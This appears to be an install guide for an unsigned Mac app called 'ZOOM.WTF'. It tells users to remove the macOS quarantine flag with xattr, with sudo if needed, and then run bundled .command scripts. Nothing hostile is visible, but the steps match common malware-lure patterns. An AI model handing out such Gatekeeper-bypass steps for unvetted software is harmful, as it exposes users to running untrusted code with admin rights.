

FIX IF MAC SAYS STEP 1 IS DAMAGED

Follow these steps exactly. Copy only the boxed commands.

1. Extract the ZIP first.

You should see a normal folder, not the ZIP preview. Move that folder to your Desktop.

2. Rename the folder to this exact name:

```
ZOOMWTF
```

3. Open Terminal.

Press Command + Space, type Terminal, then press Return.

4. At the Terminal prompt, paste this command and press Return:

```
cd ~/Desktop/ZOOMWTF
```

5. At the next prompt, paste this command and press Return:

```
xattr -dr com.apple.quarantine .
```

6. Only if it says Permission denied, use this command instead:

```
sudo xattr -dr com.apple.quarantine .
```

If your Mac asks for a password, type your Mac login password and press Return.
The password will not show while you type. That is normal.

7. At the next prompt, paste this command and press Return:

```
chmod +x "STEP 1 - INSTALL.command"  
chmod +x "STEP 2 - OPEN ZOOM.WTF.command"  
chmod +x "ZOOM.WTF.app/Contents/MacOS/ZOOM.WTF"
```

8. Close Terminal.

Double-click STEP 1 - INSTALL.command, then double-click STEP 2 - OPEN ZOOM.WTF.command.

Why this happens: macOS is blocking an unsigned download before Step 1 can clean itself up.
